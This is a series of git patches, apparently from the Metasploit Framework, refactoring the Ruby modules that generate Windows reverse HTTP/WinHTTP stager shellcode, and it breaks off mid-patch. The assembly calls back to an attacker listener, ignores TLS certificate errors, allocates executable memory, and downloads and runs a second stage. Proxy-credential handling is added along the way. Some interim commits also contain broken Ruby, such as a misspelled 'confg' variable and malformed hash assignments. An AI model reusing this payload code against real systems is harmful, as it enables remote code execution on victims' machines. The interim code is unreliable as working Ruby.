b/lib/msf/core/payload/windows/x64/reverse_http.rb @@ -237,12 +237,12 @@ module Payload::Windows::ReverseHttp_x64 ^ asm << %Q^ - call internetconnect + call internetconnect ; puts proxy host pointer on stack get_server_host: db "#{opts[:host]}", 0x00 internetconnect: - pop rdx ; String (lpszServerName) + pop rdx ; contains proxy host pointer mov rcx, rax ; HINTERNET (hInternet) mov r8, #{opts[:port]} ; xor r9, r9 ; String (lpszUsername) @@ -252,7 +252,64 @@ module Payload::Windows::ReverseHttp_x64 push 0 ; alignment mov r10, 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" ) call rbp + ^ + if proxy_enabled + # only store connection handle if something is set! + if proxy_user || proxy_pass + asm << %Q^ + mov rsi, rax ; Store hConnection in rsi + ^ + end + + if proxy_user + asm << %Q^ + call internetsetoption_proxy_user ; puts proxy_user pointer on stack + get_proxy_user: + db "#{proxy_user}", 0x00 + internetsetoption_proxy_user: + pop r8 ; contains proxy_user pointer + mov rcx, rsi ; (hConnection) + push 43 ; INTERNET_OPTION_PROXY_USERNAME + pop rdx + push #{proxy_user.length} ; proxy_user length + pop r9 + mov r10, 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" ) + ; TODO: Without these pushes, things crashed. Not sure why. + push 0 ; alignment + push 0 ; alignment + call rbp + ^ + end + + if proxy_pass + asm << %Q^ + call internetsetoption_proxy_pass ; puts proxy_pass pointer on stack + get_proxy_pass: + db "#{proxy_pass}", 0x00 + internetsetoption_proxy_pass: + pop r8 ; contains proxy_pass pointer + mov rcx, rsi ; (hConnection) + push 44 ; INTERNET_OPTION_PROXY_PASSWORD + pop rdx + push #{proxy_pass.length} ; proxy_pass length + pop r9 + mov r10, 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" ) + ; TODO: Without these pushes, things crashed. Not sure why. + push 0 ; alignment + push 0 ; alignment + call rbp + ^ + end + + if proxy_user || proxy_pass + asm << %Q^ + mov rax, rsi ; Restore hConnection in rax + ^ + end + end + + asm << %Q^ call httpopenrequest get_server_uri: db "#{opts[:url]}",0x00 @@ -374,7 +431,6 @@ module Payload::Windows::ReverseHttp_x64 asm << asm_exitfunk(opts) end - STDERR.puts(asm) asm end diff --git a/modules/payloads/stagers/windows/x64/reverse_http.rb b/modules/payloads/stagers/windows/x64/reverse_http.rb index b513db90a1..3d39dbb954 100644 --- a/modules/payloads/stagers/windows/x64/reverse_http.rb +++ b/modules/payloads/stagers/windows/x64/reverse_http.rb @@ -9,7 +9,7 @@ require 'msf/core/payload/windows/x64/reverse_http' module Metasploit4 - CachedSize = 529 + CachedSize = 513 include Msf::Payload::Stager include Msf::Payload::Windows diff --git a/modules/payloads/stagers/windows/x64/reverse_https.rb b/modules/payloads/stagers/windows/x64/reverse_https.rb index 3ef5a68832..b294f1d49c 100644 --- a/modules/payloads/stagers/windows/x64/reverse_https.rb +++ b/modules/payloads/stagers/windows/x64/reverse_https.rb @@ -9,7 +9,7 @@ require 'msf/core/payload/windows/x64/reverse_https' module Metasploit4 - CachedSize = 568 + CachedSize = 545 include Msf::Payload::Stager include Msf::Payload::Windows From 0820bc5dd5c6badb29e5ade99763b0a0c134fbbb Mon Sep 17 00:00:00 2001 From: OJ Date: Fri, 8 May 2015 17:57:51 +1000 Subject: [PATCH 05/27] Small bits of tidying up for reverse_winhttp/s Refactoring, ready to get the proxy stuff going. --- .../core/payload/windows/reverse_winhttp.rb | 302 +++++++++--------- .../core/payload/windows/reverse_winhttps.rb | 48 +-- .../core/payload/windows/x64/reverse_http.rb | 1 + 3 files changed, 150 insertions(+), 201 deletions(-) diff --git a/lib/msf/core/payload/windows/reverse_winhttp.rb b/lib/msf/core/payload/windows/reverse_winhttp.rb index a85bf67817..47043dc6cc 100644 --- a/lib/msf/core/payload/windows/reverse_winhttp.rb +++ b/lib/msf/core/payload/windows/reverse_winhttp.rb @@ -8,14 +8,12 @@ require 'msf/core/payload/windows/reverse_http' module Msf - ### # # Complex payload generation for Windows ARCH_X86 that speak HTTP(S) using WinHTTP # ### - module Payload::Windows::ReverseWinHttp include Msf::TransportConfig @@ -24,26 +22,22 @@ module Payload::Windows::ReverseWinHttp # # Generate the first stage # - def generate - # Generate the simple version of this stager if we don't have enough space - if self.available_space.nil? || required_space > self.available_space - return generate_reverse_winhttp({ - :ssl => false, - :host => datastore['LHOST'], - :port => datastore['LPORT'], - :url => generate_small_uri, - :retry_count => datastore['StagerRetryCount']}) - end - + def generate(opts={}) conf = { - :ssl => false, + :ssl => opts[:ssl] || false, :host => datastore['LHOST'], :port => datastore['LPORT'], - :url => generate_uri, - :exitfunk => datastore['EXITFUNC'], + :url => generate_small_uri, :retry_count => datastore['StagerRetryCount'] } + # Add extra options if we have enough space + unless self.available_space.nil? || required_space > self.available_space + conf[:url] = generate_uri + conf[:exitfunk] = datastore['EXITFUNC'] + conf[:verify_cert_hash] = opts[:verify_cert_hash] + end + generate_reverse_winhttp(conf) end @@ -86,12 +80,11 @@ module Payload::Windows::ReverseWinHttp space end - # # Convert a string into a NULL-terminated wchar byte array # def asm_generate_wchar_array(str) - ( str.to_s + "\x00" ). + (str.to_s + "\x00"). unpack("C*"). pack("v*"). unpack("C*"). @@ -99,7 +92,6 @@ module Payload::Windows::ReverseWinHttp join(",") end - # # Generate an assembly stub with the configured feature set and options. # @@ -124,16 +116,21 @@ module Payload::Windows::ReverseWinHttp encoded_cert_hash = opts[:verify_cert_hash].unpack("C*").map{|c| "0x%.2x" % c }.join(",") end - http_open_flags = 0 + secure_flags = 0 if opts[:ssl] - # ;0x00800000 ; WINHTTP_FLAG_SECURE - # ;0x00000100 ; WINHTTP_FLAG_BYPASS_PROXY_CACHE - http_open_flags = (0x00800000 | 0x00000100) + http_open_flags = ( + 0x00800000 | # WINHTTP_FLAG_SECURE + 0x00000100 ) # WINHTTP_FLAG_BYPASS_PROXY_CACHE + + secure_flags = ( + 0x00002000 | # SECURITY_FLAG_IGNORE_CERT_DATE_INVALID + 0x00001000 | # SECURITY_FLAG_IGNORE_CERT_CN_INVALID + 0x00000200 | # SECURITY_FLAG_IGNORE_WRONG_USAGE + 0x00000100 ) # SECURITY_FLAG_IGNORE_UNKNOWN_CA else - # ;0x00000100 ; WINHTTP_FLAG_BYPASS_PROXY_CACHE - http_open_flags = 0x00000100 + http_open_flags = 0x00000100 # WINHTTP_FLAG_BYPASS_PROXY_CACHE end asm = %Q^ @@ -150,13 +147,13 @@ module Payload::Windows::ReverseWinHttp if verify_ssl asm << %Q^ - load_crypt32: - push 0x00323374 ; Push the string 'crypt32',0 - push 0x70797263 ; ... - push esp ; Push a pointer to the "crypt32" string - push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" ) - call ebp ; LoadLibraryA( "wincrypt" ) - ^ + load_crypt32: + push 0x00323374 ; Push the string 'crypt32',0 + push 0x70797263 ; ... + push esp ; Push a pointer to the "crypt32" string + push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" ) + call ebp ; LoadLibraryA( "wincrypt" ) + ^ end asm << %Q^ @@ -185,7 +182,7 @@ module Payload::Windows::ReverseWinHttp WinHttpOpenRequest: - push #{"0x%.8x" % http_open_flags} + push 0x#{http_open_flags.to_s(16)} push ebx ; AcceptTypes (NULL) push ebx ; Referrer (NULL) push ebx ; Version (NULL) @@ -199,21 +196,17 @@ module Payload::Windows::ReverseWinHttp if opts[:ssl] asm << %Q^ - ; WinHttpSetOption (hInternet, WINHTTP_OPTION_SECURITY_FLAGS, &buffer, sizeof(buffer) ); - set_security_options: - push 0x00003300 - ;0x00002000 | ; SECURITY_FLAG_IGNORE_CERT_DATE_INVALID - ;0x00001000 | ; SECURITY_FLAG_IGNORE_CERT_CN_INVALID - ;0x00000200 | ; SECURITY_FLAG_IGNORE_WRONG_USAGE - ;0x00000100 | ; SECURITY_FLAG_IGNORE_UNKNOWN_CA - mov eax, esp - push 4 ; sizeof(buffer) - push eax ; &buffer - push 31 ; DWORD dwOption (WINHTTP_OPTION_SECURITY_FLAGS) - push esi ; hHttpRequest - push 0xCE9D58D3 ; hash( "winhttp.dll", "WinHttpSetOption" ) - call ebp - ^ + ; WinHttpSetOption (hInternet, WINHTTP_OPTION_SECURITY_FLAGS, &buffer, sizeof(buffer) ); + set_security_options: + push 0x#{secure_flags.to_s(16)} + mov eax, esp + push 4 ; sizeof(buffer) + push eax ; &buffer + push 31 ; DWORD dwOption (WINHTTP_OPTION_SECURITY_FLAGS) + push esi ; hHttpRequest + push 0xCE9D58D3 ; hash( "winhttp.dll", "WinHttpSetOption" ) + call ebp + ^ end asm << %Q^ @@ -246,150 +239,145 @@ module Payload::Windows::ReverseWinHttp if opts[:exitfunk] asm << %Q^ - failure: - call exitfunk - ^ + failure: + call exitfunk + ^ else asm << %Q^ - failure: - push 0x56A2B5F0 ; hardcoded to exitprocess for size - call ebp - ^ + failure: + push 0x56A2B5F0 ; hardcoded to exitprocess for size + call ebp + ^ end # Jump target if the request was sent successfully asm << %Q^ - check_response: - ^ + check_response: + ^ # Verify the SSL certificate hash if verify_ssl asm << %Q^ - ssl_cert_get_context: - push 4 - mov ecx, esp ; Allocate &bufferLength - push 0 - mov ebx, esp ; Allocate &buffer (ebx will point to *pCert) + ssl_cert_get_context: + push 4 + mov ecx, esp ; Allocate &bufferLength + push 0 + mov ebx, esp ; Allocate &buffer (ebx will point to *pCert) - push ecx ; &bufferLength - push ebx ; &buffer - push 78 ; DWORD dwOption (WINHTTP_OPTION_SERVER_CERT_CONTEXT) - push esi ; hHttpRequest - push 0x272F0478 ; hash( "winhttp.dll", "WinHttpQueryOption" ) - call ebp - test eax, eax ; - jz failure ; Bail out if we couldn't get the certificate context + push ecx ; &bufferLength + push ebx ; &buffer + push 78 ; DWORD dwOption (WINHTTP_OPTION_SERVER_CERT_CONTEXT) + push esi ; hHttpRequest + push 0x272F0478 ; hash( "winhttp.dll", "WinHttpQueryOption" ) + call ebp + test eax, eax ; + jz failure ; Bail out if we couldn't get the certificate context - ; ebx - ssl_cert_allocate_hash_space: - push 20 ; - mov ecx, esp ; Store a reference to the address of 20 - sub esp,[ecx] ; Allocate 20 bytes for the hash output - mov edi, esp ; edi will point to our buffer + ; ebx + ssl_cert_allocate_hash_space: + push 20 ; + mov ecx, esp ; Store a reference to the address of 20 + sub esp,[ecx] ; Allocate 20 bytes for the hash output + mov edi, esp ; edi will point to our buffer - ssl_cert_get_server_hash: - push ecx ; &bufferLength - push edi ; &buffer (20-byte SHA1 hash) - push 3 ; DWORD dwPropId (CERT_SHA1_HASH_PROP_ID) - push [ebx] ; *pCert - push 0xC3A96E2D ; hash( "crypt32.dll", "CertGetCertificateContextProperty" ) - call ebp - test eax, eax ; - jz failure ; Bail out if we couldn't get the certificate context + ssl_cert_get_server_hash: + push ecx ; &bufferLength + push edi ; &buffer (20-byte SHA1 hash) + push 3 ; DWORD dwPropId (CERT_SHA1_HASH_PROP_ID) + push [ebx] ; *pCert + push 0xC3A96E2D ; hash( "crypt32.dll", "CertGetCertificateContextProperty" ) + call ebp + test eax, eax ; + jz failure ; Bail out if we couldn't get the certificate context - ssl_cert_start_verify: - call ssl_cert_compare_hashes - db #{encoded_cert_hash} + ssl_cert_start_verify: + call ssl_cert_compare_hashes + db #{encoded_cert_hash} - ssl_cert_compare_hashes: - pop ebx ; ebx points to our internal 20-byte certificate hash (overwrites *pCert) - ; edi points to the server-provided certificate hash + ssl_cert_compare_hashes: + pop ebx ; ebx points to our internal 20-byte certificate hash (overwrites *pCert) + ; edi points to the server-provided certificate hash - push 4 ; Compare 20 bytes (5 * 4) by repeating 4 more times - pop ecx ; - mov edx, ecx ; Keep a reference to 4 in edx + push 4 ; Compare 20 bytes (5 * 4) by repeating 4 more times + pop ecx ; + mov edx, ecx ; Keep a reference to 4 in edx - ssl_cert_verify_compare_loop: - mov eax, [ebx] ; Grab the next DWORD of the hash - cmp eax, [edi] ; Compare with the server hash - jnz failure ; Bail out if the DWORD doesn't match - add ebx, edx ; Increment internal hash pointer by 4 - add edi, edx ; Increment server hash pointer by 4 - loop ssl_cert_verify_compare_loop + ssl_cert_verify_compare_loop: + mov eax, [ebx] ; Grab the next DWORD of the hash + cmp eax, [edi] ; Compare with the server hash + jnz failure ; Bail out if the DWORD doesn't match + add ebx, edx ; Increment internal hash pointer by 4 + add edi, edx ; Increment server hash pointer by 4 + loop ssl_cert_verify_compare_loop - ; Our certificate hash was valid, hurray! - ssl_cert_verify_cleanup: - xor ebx, ebx ; Reset ebx back to zero - ^ + ; Our certificate hash was valid, hurray! + ssl_cert_verify_cleanup: + xor ebx, ebx ; Reset ebx back to zero + ^ end asm << %Q^ - receive_response: - ; The API WinHttpReceiveResponse needs to be called - ; first to get a valid handle for WinHttpReadData - push ebx ; Reserved (NULL) - push esi ; Request handler returned by WinHttpSendRequest - push 0x709D8805 ; hash( "winhttp.dll", "WinHttpReceiveResponse" ) - call ebp - test eax,eax - jz failure - ^ + receive_response: + ; The API WinHttpReceiveResponse needs to be called + ; first to get a valid handle for WinHttpReadData + push ebx ; Reserved (NULL) + push esi ; Request handler returned by WinHttpSendRequest + push 0x709D8805 ; hash( "winhttp.dll", "WinHttpReceiveResponse" ) + call ebp + test eax,eax + jz failure - asm << %Q^ - allocate_memory: - push 0x40 ; PAGE_EXECUTE_READWRITE - push 0x1000 ; MEM_COMMIT - push 0x00400000 ; Stage allocation (4Mb ought to do us) - push ebx ; NULL as we dont care where the allocation is - push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" ) - call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); + allocate_memory: + push 0x40 ; PAGE_EXECUTE_READWRITE + push 0x1000 ; MEM_COMMIT + push 0x00400000 ; Stage allocation (4Mb ought to do us) + push ebx ; NULL as we dont care where the allocation is + push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" ) + call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); - download_prep: - xchg eax, ebx ; place the allocated base address in ebx - push ebx ; store a copy of the stage base address on the stack - push ebx ; temporary storage for bytes read count - mov edi, esp ; &bytesRead + download_prep: + xchg eax, ebx ; place the allocated base address in ebx + push ebx ; store a copy of the stage base address on the stack + push ebx ; temporary storage for bytes read count + mov edi, esp ; &bytesRead - download_more: - push edi ; NumberOfBytesRead (bytesRead) - push 8192 ; NumberOfBytesToRead - push ebx ; Buffer - push esi ; Request handler returned by WinHttpReceiveResponse - push 0x7E24296C ; hash( "winhttp.dll", "WinHttpReadData" ) - call ebp + download_more: + push edi ; NumberOfBytesRead (bytesRead) + push 8192 ; NumberOfBytesToRead + push ebx ; Buffer + push esi ; Request handler returned by WinHttpReceiveResponse + push 0x7E24296C ; hash( "winhttp.dll", "WinHttpReadData" ) + call ebp - test eax,eax ; if download failed? (optional?) - jz failure + test eax,eax ; if download failed? (optional?) + jz failure - mov eax, [edi] - add ebx, eax ; buffer += bytes_received + mov eax, [edi] + add ebx, eax ; buffer += bytes_received - test eax,eax ; optional? - jnz download_more ; continue until it returns 0 - pop eax ; clear the temporary storage + test eax,eax ; optional? + jnz download_more ; continue until it returns 0 + pop eax ; clear the temporary storage - execute_stage: - xor edi, edi ; clear EDI, so we don't mislead meterpreter into - ; thinking it has a valid socket to play with - ret ; dive into the stored stage address + execute_stage: + ret ; dive into the stored stage address - got_server_uri: - pop edi - call got_server_host ; put the server_host on the stack (WinHttpConnect API [2]) + got_server_uri: + pop edi + call got_server_host ; put the server_host on the stack (WinHttpConnect API [2]) - server_host: - db #{encoded_host} - ^ + server_host: + db #{encoded_host} + ^ + + if opts[:exitfunk] + asm << asm_exitfunk(opts) + end - if opts[:exitfunk] - asm << asm_exitfunk(opts) - end asm end - - end end diff --git a/lib/msf/core/payload/windows/reverse_winhttps.rb b/lib/msf/core/payload/windows/reverse_winhttps.rb index a91f2e4d30..7051a04a9b 100644 --- a/lib/msf/core/payload/windows/reverse_winhttps.rb +++ b/lib/msf/core/payload/windows/reverse_winhttps.rb @@ -8,14 +8,12 @@ require 'rex/payloads/meterpreter/uri_checksum' module Msf - ### # # Complex payload generation for Windows ARCH_X86 that speak HTTPS using WinHTTP # ### - module Payload::Windows::ReverseWinHttps include Msf::TransportConfig @@ -33,21 +31,6 @@ module Payload::Windows::ReverseWinHttps ], self.class) end - # - # Generate and compile the stager - # - def generate_reverse_winhttps(opts={}) - combined_asm = %Q^ - cld ; Clear the direction flag. - call start ; Call start, this pushes the address of 'api_call' onto the stack. - #{asm_block_api} - start: - pop ebp - #{asm_reverse_winhttp(opts)} - ^ - Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string - end - # # Generate the first stage # @@ -56,33 +39,10 @@ module Payload::Windows::ReverseWinHttps verify_cert_hash = get_ssl_cert_hash(datastore['StagerVerifySSLCert'], datastore['HandlerSSLCert']) - # Generate the simple version of this stager if we don't have enough space - if self.available_space.nil? || required_space > self.available_space - - if verify_cert_hash - raise ArgumentError, "StagerVerifySSLCert is enabled but not enough payload space is available" - end - - return generate_reverse_winhttps( - ssl: true, - host: datastore['LHOST'], - port: datastore['LPORT'], - url: generate_small_uri, - verify_cert_hash: verify_cert_hash, - retry_count: datastore['StagerRetryCount']) - end - - conf = { - ssl: true, - host: datastore['LHOST'], - port: datastore['LPORT'], - url: generate_uri, - exitfunk: datastore['EXITFUNC'], - verify_cert_hash: verify_cert_hash, - retry_count: datastore['StagerRetryCount'] - } - - generate_reverse_winhttps(conf) + super({ + :ssl => true, + :verify_cert_hash => verify_cert_hash + }) end def transport_config(opts={}) diff --git a/lib/msf/core/payload/windows/x64/reverse_http.rb b/lib/msf/core/payload/windows/x64/reverse_http.rb index 471b617b03..be738dbabd 100644 --- a/lib/msf/core/payload/windows/x64/reverse_http.rb +++ b/lib/msf/core/payload/windows/x64/reverse_http.rb @@ -56,6 +56,7 @@ module Payload::Windows::ReverseHttp_x64 # add extended options if we do have enough space unless self.available_space.nil? || required_space > self.available_space + conf[:url] = generate_uri conf[:exitfunk] = datastore['EXITFUNC'] conf[:proxy_host] = datastore['PayloadProxyHost'] conf[:proxy_port] = datastore['PayloadProxyPort'] From 468669175331e746d21bbd5484ca0f8ce158b6e6 Mon Sep 17 00:00:00 2001 From: OJ Date: Fri, 8 May 2015 18:29:04 +1000 Subject: [PATCH 06/27] Interim commit while juggling some other code --- lib/msf/core/payload/windows/reverse_http.rb | 45 ++++++++----------- .../core/payload/windows/reverse_winhttp.rb | 5 +++ 2 files changed, 24 insertions(+), 26 deletions(-) diff --git a/lib/msf/core/payload/windows/reverse_http.rb b/lib/msf/core/payload/windows/reverse_http.rb index 73958d3abf..9cae2f076e 100644 --- a/lib/msf/core/payload/windows/reverse_http.rb +++ b/lib/msf/core/payload/windows/reverse_http.rb @@ -8,14 +8,12 @@ require 'msf/core/payload/uuid_options' module Msf - ### # # Complex payload generation for Windows ARCH_X86 that speak HTTP(S) # ### - module Payload::Windows::ReverseHttp include Msf::TransportConfig @@ -29,8 +27,7 @@ module Payload::Windows::ReverseHttp # def initialize(*args) super - register_advanced_options( - [ + register_advanced_options([ OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)']), OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10]), OptString.new('PayloadProxyHost', [false, 'An optional proxy server IP address or hostname']), @@ -44,31 +41,27 @@ module Payload::Windows::ReverseHttp # # Generate the first stage # - def generate - # Generate the simple version of this stager if we don't have enough space - if self.available_space.nil? || required_space > self.available_space - return generate_reverse_http( - ssl: false, - host: datastore['LHOST'], - port: datastore['LPORT'], - url: generate_small_uri, - retry_count: datastore['StagerRetryCount']) - end - + def generate(opts={}) conf = { - ssl: false, - host: datastore['LHOST'], - port: datastore['LPORT'], - url: generate_uri, - exitfunk: datastore['EXITFUNC'], - proxy_host: datastore['PayloadProxyHost'], - proxy_port: datastore['PayloadProxyPort'], - proxy_user: datastore['PayloadProxyUser'], - proxy_pass: datastore['PayloadProxyPass'], - proxy_type: datastore['PayloadProxyType'], - retry_count: datastore['StagerRetryCount'] + :ssl => opts[ssl] || false, + :host => datastore['LHOST'], + :port => datastore['LPORT'], + :url => generate_small_uri, + :retry_count => datastore['StagerRetryCount'] } + # Add extra options if we have enough space + unless self.available_space.nil? || required_space > self.available_space + conf[:url => generate_uri, + conf[:exitfunk => datastore['EXITFUNC'], + conf[:proxy_host => datastore['PayloadProxyHost'], + conf[:proxy_port => datastore['PayloadProxyPort'], + conf[:proxy_user => datastore['PayloadProxyUser'], + conf[:proxy_pass => datastore['PayloadProxyPass'], + conf[:proxy_type => datastore['PayloadProxyType'], + conf[:retry_count => datastore['StagerRetryCount'] + end + generate_reverse_http(conf) end diff --git a/lib/msf/core/payload/windows/reverse_winhttp.rb b/lib/msf/core/payload/windows/reverse_winhttp.rb index 47043dc6cc..4ce1465a23 100644 --- a/lib/msf/core/payload/windows/reverse_winhttp.rb +++ b/lib/msf/core/payload/windows/reverse_winhttp.rb @@ -36,6 +36,11 @@ module Payload::Windows::ReverseWinHttp conf[:url] = generate_uri conf[:exitfunk] = datastore['EXITFUNC'] conf[:verify_cert_hash] = opts[:verify_cert_hash] + confg[:proxy_host] = datastore['PayloadProxyHost'] + confg[:proxy_user] = datastore['PayloadProxyUser'] + confg[:proxy_pass] = datastore['PayloadProxyPass'] + confg[:proxy_type] = datastore['PayloadProxyType'] + confg[:retry_count] = datastore['StagerRetryCount'] end generate_reverse_winhttp(conf) From 99fdfe31f16f91c68edd53a7b2b80a82651323ac Mon Sep 17 00:00:00 2001 From: OJ Date: Fri, 8 May 2015 18:35:54 +1000 Subject: [PATCH 07/27] More tidying/refactoring of the stagers --- lib/msf/core/payload/windows/reverse_https.rb | 44 +------------------ 1 file changed, 1 insertion(+), 43 deletions(-) diff --git a/lib/msf/core/payload/windows/reverse_https.rb b/lib/msf/core/payload/windows/reverse_https.rb index b1bc4ab265..d1370e1e61 100644 --- a/lib/msf/core/payload/windows/reverse_https.rb +++ b/lib/msf/core/payload/windows/reverse_https.rb @@ -5,63 +5,21 @@ require 'msf/core/payload/windows/reverse_http' module Msf - ### # # Complex payload generation for Windows ARCH_X86 that speak HTTPS # ### - module Payload::Windows::ReverseHttps include Msf::Payload::Windows::ReverseHttp - # - # Generate and compile the stager - # - def generate_reverse_https(opts={}) - combined_asm = %Q^ - cld ; Clear the direction flag. - call start ; Call start, this pushes the address of 'api_call' onto the stack. - #{asm_block_api} - start: - pop ebp - #{asm_reverse_http(opts)} - ^ - Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string - end - # # Generate the first stage # def generate - - # Generate the simple version of this stager if we don't have enough space - if self.available_space.nil? || required_space > self.available_space - return generate_reverse_https( - ssl: true, - host: datastore['LHOST'], - port: datastore['LPORT'], - url: generate_small_uri, - retry_count: datastore['StagerRetryCount']) - end - - conf = { - ssl: true, - host: datastore['LHOST'], - port: datastore['LPORT'], - url: generate_uri, - exitfunk: datastore['EXITFUNC'], - proxy_host: datastore['PayloadProxyHost'], - proxy_port: datastore['PayloadProxyPort'], - proxy_user: datastore['PayloadProxyUser'], - proxy_pass: datastore['PayloadProxyPass'], - proxy_type: datastore['PayloadProxyType'], - retry_count: datastore['StagerRetryCount'] - } - - generate_reverse_https(conf) + super({ :ssl => true }) end # From 679bb46f86841e12c7b3f405970b25f2e5c66133 Mon Sep 17 00:00:00 2001 From: OJ Date: Sat, 9 May 2015 00:24:07 +1000 Subject: [PATCH 08/27] Refactoring, exitfunk fix, block_api_hash func --- lib/msf/core/payload/windows/exitfunk.rb | 62 ++-- lib/msf/core/payload/windows/reverse_http.rb | 277 +++++++++--------- .../core/payload/windows/reverse_winhttp.rb | 114 +++++-- .../core/payload/windows/reverse_winhttps.rb | 5 +- lib/msf/core/payload/windows/x64/exitfunk.rb | 8 +- lib/rex/text.rb | 13 + 6 files changed, 284 insertions(+), 195 deletions(-) diff --git a/lib/msf/core/payload/windows/exitfunk.rb b/lib/msf/core/payload/windows/exitfunk.rb index ff311e8e13..c34ccbcac4 100644 --- a/lib/msf/core/payload/windows/exitfunk.rb +++ b/lib/msf/core/payload/windows/exitfunk.rb @@ -21,13 +21,13 @@ module Payload::Windows::Exitfunk when 'seh' asm << %Q^ - mov ebx, #{"0x%.8x" % Msf::Payload::Windows.exit_types['seh']} - push.i8 0 ; push the exit function parameter - push ebx ; push the hash of the exit function - call ebp ; SetUnhandledExceptionFilter(0) - push.i8 0 - ret ; Return to NULL (crash) - ^ + mov ebx, 0x#{Msf::Payload::Windows.exit_types['seh'].to_s(16)} + push.i8 0 ; push the exit function parameter + push ebx ; push the hash of the exit function + call ebp ; SetUnhandledExceptionFilter(0) + push.i8 0 + ret ; Return to NULL (crash) + ^ # On Windows Vista, Server 2008, and newer, it is not possible to call ExitThread # on WoW64 processes, instead we need to call RtlExitUserThread. This stub will @@ -35,36 +35,36 @@ module Payload::Windows::Exitfunk when 'thread' asm << %Q^ - mov ebx, #{"0x%.8x" % Msf::Payload::Windows.exit_types['thread']} - push 0x9DBD95A6 ; hash( "kernel32.dll", "GetVersion" ) - call ebp ; GetVersion(); (AL will = major version and AH will = minor version) - cmp al, 6 ; If we are not running on Windows Vista, 2008 or 7 - jl exitfunk_goodbye ; Then just call the exit function... - cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7... - jne exitfunk_goodbye ; - mov ebx, 0x6F721347 ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread - exitfunk_goodbye: ; We now perform the actual call to the exit function - push.i8 0 ; push the exit function parameter - push ebx ; push the hash of the exit function - call ebp ; call ExitThread(0) || RtlExitUserThread(0) - ^ + mov ebx, 0x#{Msf::Payload::Windows.exit_types['thread'].to_s(16)} + push 0x9DBD95A6 ; hash( "kernel32.dll", "GetVersion" ) + call ebp ; GetVersion(); (AL will = major version and AH will = minor version) + cmp al, 6 ; If we are not running on Windows Vista, 2008 or 7 + jl exitfunk_goodbye ; Then just call the exit function... + cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7... + jne exitfunk_goodbye ; + mov ebx, 0x6F721347 ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread + exitfunk_goodbye: ; We now perform the actual call to the exit function + push.i8 0 ; push the exit function parameter + push ebx ; push the hash of the exit function + call ebp ; call ExitThread(0) || RtlExitUserThread(0) + ^ when 'process', nil asm << %Q^ - mov ebx, #{"0x%.8x" % Msf::Payload::Windows.exit_types['process']} - push.i8 0 ; push the exit function parameter - push ebx ; push the hash of the exit function - call ebp ; ExitProcess(0) - ^ + mov ebx, 0x#{Msf::Payload::Windows.exit_types['process'].to_s(16)} + push.i8 0 ; push the exit function parameter + push ebx ; push the hash of the exit function + call ebp ; ExitProcess(0) + ^ when 'sleep' asm << %Q^ - mov ebx, #{"0x%.8x" % Rex::Text.ror13_hash('Sleep')} - push 300000 ; 300 seconds - push ebx ; push the hash of the function - call ebp ; Sleep(300000) - jmp exitfunk ; repeat - ^ + mov ebx, #{Rex::Text.block_api_hash('kernel32.dll', 'Sleep')} + push 300000 ; 300 seconds + push ebx ; push the hash of the function + call ebp ; Sleep(300000) + jmp exitfunk ; repeat + ^ else # Do nothing and continue after the end of the shellcode end diff --git a/lib/msf/core/payload/windows/reverse_http.rb b/lib/msf/core/payload/windows/reverse_http.rb index 9cae2f076e..3abc4c08b3 100644 --- a/lib/msf/core/payload/windows/reverse_http.rb +++ b/lib/msf/core/payload/windows/reverse_http.rb @@ -52,14 +52,14 @@ module Payload::Windows::ReverseHttp # Add extra options if we have enough space unless self.available_space.nil? || required_space > self.available_space - conf[:url => generate_uri, - conf[:exitfunk => datastore['EXITFUNC'], - conf[:proxy_host => datastore['PayloadProxyHost'], - conf[:proxy_port => datastore['PayloadProxyPort'], - conf[:proxy_user => datastore['PayloadProxyUser'], - conf[:proxy_pass => datastore['PayloadProxyPass'], - conf[:proxy_type => datastore['PayloadProxyType'], - conf[:retry_count => datastore['StagerRetryCount'] + conf[:url] = generate_uri + conf[:exitfunk] = datastore['EXITFUNC'] + conf[:proxy_host] = datastore['PayloadProxyHost'] + conf[:proxy_port] = datastore['PayloadProxyPort'] + conf[:proxy_user] = datastore['PayloadProxyUser'] + conf[:proxy_pass] = datastore['PayloadProxyPass'] + conf[:proxy_type] = datastore['PayloadProxyType'] + conf[:retry_count] = datastore['StagerRetryCount'] end generate_reverse_http(conf) @@ -174,24 +174,32 @@ module Payload::Windows::ReverseHttp proxy_pass = opts[:proxy_pass].to_s.length == 0 ? nil : opts[:proxy_pass] http_open_flags = 0 + secure_flags = 0 if opts[:ssl] - #;0x80000000 | ; INTERNET_FLAG_RELOAD - #;0x04000000 | ; INTERNET_NO_CACHE_WRITE - #;0x00400000 | ; INTERNET_FLAG_KEEP_CONNECTION - #;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT - #;0x00000200 | ; INTERNET_FLAG_NO_UI - #;0x00800000 | ; INTERNET_FLAG_SECURE - #;0x00002000 | ; INTERNET_FLAG_IGNORE_CERT_DATE_INVALID - #;0x00001000 ; INTERNET_FLAG_IGNORE_CERT_CN_INVALID - http_open_flags = ( 0x80000000 | 0x04000000 | 0x00400000 | 0x00200000 | 0x00000200 | 0x00800000 | 0x00002000 | 0x00001000 ) + http_open_flags = ( + 0x80000000 | # INTERNET_FLAG_RELOAD + 0x04000000 | # INTERNET_NO_CACHE_WRITE + 0x00400000 | # INTERNET_FLAG_KEEP_CONNECTION + 0x00200000 | # INTERNET_FLAG_NO_AUTO_REDIRECT + 0x00000200 | # INTERNET_FLAG_NO_UI + 0x00800000 | # 